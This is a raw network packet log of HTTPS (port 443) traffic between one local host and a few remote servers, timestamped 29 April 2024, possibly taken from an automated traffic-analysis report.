Apr 29, 2024 02:01:34.399200916 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.402070045 CEST	443	49759	104.17.24.14	192.168.2.4
Apr 29, 2024 02:01:34.411649942 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.436805010 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.436820984 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.437928915 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.437983036 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.457830906 CEST	49760	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:34.457871914 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.459261894 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.459331989 CEST	49760	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:34.463979006 CEST	49759	443	192.168.2.4	104.17.24.14
Apr 29, 2024 02:01:34.464014053 CEST	443	49759	104.17.24.14	192.168.2.4
Apr 29, 2024 02:01:34.465167046 CEST	443	49759	104.17.24.14	192.168.2.4
Apr 29, 2024 02:01:34.465179920 CEST	443	49759	104.17.24.14	192.168.2.4
Apr 29, 2024 02:01:34.465230942 CEST	49759	443	192.168.2.4	104.17.24.14
Apr 29, 2024 02:01:34.473406076 CEST	49756	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.473428965 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.474716902 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.474735022 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.474785089 CEST	49756	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.493320942 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.493499994 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.495033979 CEST	49760	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:34.495208979 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.497458935 CEST	49759	443	192.168.2.4	104.17.24.14
Apr 29, 2024 02:01:34.497570038 CEST	443	49759	104.17.24.14	192.168.2.4
Apr 29, 2024 02:01:34.498389959 CEST	49756	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.498487949 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.500191927 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.500210047 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.500216961 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.500344992 CEST	49760	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:34.500370979 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.500694036 CEST	49759	443	192.168.2.4	104.17.24.14
Apr 29, 2024 02:01:34.500711918 CEST	443	49759	104.17.24.14	192.168.2.4
Apr 29, 2024 02:01:34.500780106 CEST	49756	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.500792980 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.500863075 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.500895023 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.500905991 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.500914097 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.500951052 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.501607895 CEST	443	49751	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.504512072 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.508675098 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.508697033 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.508745909 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.508759975 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.508801937 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.512033939 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.516191959 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.516256094 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.516268015 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.519160032 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.519205093 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.519217014 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.520958900 CEST	443	49751	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.520982981 CEST	443	49751	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.521054029 CEST	49751	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.521079063 CEST	443	49751	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.521127939 CEST	49751	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.523102999 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.523169041 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.523181915 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.527240038 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.527291059 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.527301073 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.530225992 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.530272961 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.530282974 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.534509897 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.534552097 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.534562111 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.541251898 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.541274071 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.541296005 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.541307926 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.541344881 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.542192936 CEST	443	49751	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.542226076 CEST	443	49751	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.542275906 CEST	49751	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.542292118 CEST	443	49751	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.542316914 CEST	49751	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.544745922 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.548428059 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.548485041 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.548497915 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.560878992 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.560899019 CEST	49760	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:34.610486031 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.610549927 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.610567093 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.612150908 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.612190962 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.612202883 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.618834972 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.618859053 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.618880987 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.618896961 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.618936062 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.621978998 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.622360945 CEST	443	49751	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.622406960 CEST	443	49751	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.622420073 CEST	49751	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.622436047 CEST	443	49751	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.622462034 CEST	49751	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.625068903 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.625118017 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.625132084 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.639132023 CEST	49759	443	192.168.2.4	104.17.24.14
Apr 29, 2024 02:01:34.639136076 CEST	49756	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.641000032 CEST	443	49751	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.641002893 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.641011953 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.641020060 CEST	443	49751	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.641057968 CEST	443	49751	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.641061068 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.641083002 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.641084909 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.641086102 CEST	49751	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.641092062 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.641103029 CEST	443	49751	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.641107082 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.641119003 CEST	49751	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.641119957 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.641156912 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.645642996 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.645719051 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.645719051 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.645759106 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.651952028 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.651972055 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.655076027 CEST	443	49751	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.655100107 CEST	443	49751	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.655127048 CEST	443	49751	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.655205965 CEST	49751	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.655205965 CEST	49751	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.655224085 CEST	443	49751	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.659212112 CEST	443	49751	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.659262896 CEST	49751	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.659281015 CEST	443	49751	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.659333944 CEST	443	49751	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.659373999 CEST	49751	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.664122105 CEST	49751	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.664143085 CEST	443	49751	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.668829918 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.668868065 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.668885946 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.668906927 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.668924093 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.668926001 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.668945074 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.668960094 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.668967962 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.668977022 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.668984890 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.669022083 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.669027090 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.669363022 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.669388056 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.669409037 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.669414997 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.669424057 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.669441938 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.669464111 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.669491053 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.669500113 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.669509888 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.669533014 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.669543982 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.669550896 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.669585943 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.669603109 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.669609070 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.669636011 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.669646025 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.669656038 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.669697046 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.669697046 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.669708967 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.669739962 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.670362949 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.670399904 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.670419931 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.670435905 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.670443058 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.670454025 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.670471907 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.671104908 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.671132088 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.671150923 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.671171904 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.671183109 CEST	49756	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.671199083 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.671202898 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.671226978 CEST	49756	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.671241045 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.671250105 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.671372890 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.671391010 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.671396971 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.671407938 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.671416998 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.671422005 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.671430111 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.671437025 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.671439886 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.671454906 CEST	49756	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.671464920 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.671474934 CEST	49756	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.671926975 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.671948910 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.671997070 CEST	49756	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.672005892 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.672049046 CEST	49756	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.672203064 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.672236919 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.672245979 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.672362089 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.672379971 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.672395945 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.672406912 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.672416925 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.672434092 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.672512054 CEST	443	49759	104.17.24.14	192.168.2.4
Apr 29, 2024 02:01:34.672544956 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.672550917 CEST	443	49759	104.17.24.14	192.168.2.4
Apr 29, 2024 02:01:34.672569990 CEST	443	49759	104.17.24.14	192.168.2.4
Apr 29, 2024 02:01:34.672578096 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.672589064 CEST	443	49759	104.17.24.14	192.168.2.4
Apr 29, 2024 02:01:34.672595978 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.672610998 CEST	49759	443	192.168.2.4	104.17.24.14
Apr 29, 2024 02:01:34.672617912 CEST	49756	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.672619104 CEST	443	49759	104.17.24.14	192.168.2.4
Apr 29, 2024 02:01:34.672619104 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.672633886 CEST	443	49759	104.17.24.14	192.168.2.4
Apr 29, 2024 02:01:34.672635078 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.672651052 CEST	49759	443	192.168.2.4	104.17.24.14
Apr 29, 2024 02:01:34.672658920 CEST	49756	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.672801971 CEST	49759	443	192.168.2.4	104.17.24.14
Apr 29, 2024 02:01:34.672808886 CEST	443	49759	104.17.24.14	192.168.2.4
Apr 29, 2024 02:01:34.672875881 CEST	443	49759	104.17.24.14	192.168.2.4
Apr 29, 2024 02:01:34.673058987 CEST	49759	443	192.168.2.4	104.17.24.14
Apr 29, 2024 02:01:34.673064947 CEST	443	49759	104.17.24.14	192.168.2.4
Apr 29, 2024 02:01:34.673207998 CEST	443	49759	104.17.24.14	192.168.2.4
Apr 29, 2024 02:01:34.673208952 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.673223972 CEST	443	49759	104.17.24.14	192.168.2.4
Apr 29, 2024 02:01:34.673239946 CEST	443	49759	104.17.24.14	192.168.2.4
Apr 29, 2024 02:01:34.673259974 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.673269987 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.673291922 CEST	49759	443	192.168.2.4	104.17.24.14
Apr 29, 2024 02:01:34.673291922 CEST	49759	443	192.168.2.4	104.17.24.14
Apr 29, 2024 02:01:34.673300028 CEST	443	49759	104.17.24.14	192.168.2.4
Apr 29, 2024 02:01:34.673316002 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.673346996 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.673362970 CEST	49756	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.673367023 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.673376083 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.673405886 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.673414946 CEST	49756	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.673425913 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.673435926 CEST	49756	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.673897028 CEST	443	49759	104.17.24.14	192.168.2.4
Apr 29, 2024 02:01:34.673918962 CEST	443	49759	104.17.24.14	192.168.2.4
Apr 29, 2024 02:01:34.673953056 CEST	49759	443	192.168.2.4	104.17.24.14
Apr 29, 2024 02:01:34.673959017 CEST	443	49759	104.17.24.14	192.168.2.4
Apr 29, 2024 02:01:34.674004078 CEST	443	49759	104.17.24.14	192.168.2.4
Apr 29, 2024 02:01:34.674016953 CEST	49759	443	192.168.2.4	104.17.24.14
Apr 29, 2024 02:01:34.674293995 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.674293995 CEST	49759	443	192.168.2.4	104.17.24.14
Apr 29, 2024 02:01:34.674323082 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.674345016 CEST	49756	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.674351931 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.674388885 CEST	49756	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.674390078 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.674401045 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.674438000 CEST	49756	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.675189972 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.675221920 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.675242901 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.675276995 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.675277948 CEST	49756	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.675286055 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.675329924 CEST	49756	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.675335884 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.675374031 CEST	49756	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.677114964 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.677170038 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.677198887 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.677254915 CEST	49756	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.677269936 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.677297115 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.677339077 CEST	49756	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.678756952 CEST	49756	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.678769112 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.682399035 CEST	49759	443	192.168.2.4	104.17.24.14
Apr 29, 2024 02:01:34.682418108 CEST	443	49759	104.17.24.14	192.168.2.4
Apr 29, 2024 02:01:34.740003109 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.740096092 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.740134954 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.740139961 CEST	49760	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:34.740161896 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.740210056 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.740211964 CEST	49760	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:34.740220070 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.740258932 CEST	49760	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:34.743319988 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.746946096 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.747011900 CEST	49760	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:34.747030020 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.750840902 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.750917912 CEST	49760	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:34.750931978 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.754797935 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.754899025 CEST	49760	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:34.754913092 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.766005039 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.776335001 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.776348114 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.776381969 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.776397943 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.776401043 CEST	49760	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:34.776412964 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.776432991 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.776448965 CEST	49760	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:34.776463985 CEST	49760	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:34.776484966 CEST	49760	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:34.779339075 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.779349089 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.779402971 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.779413939 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.779426098 CEST	49755	443	192.168.2.4	104.18.11.207
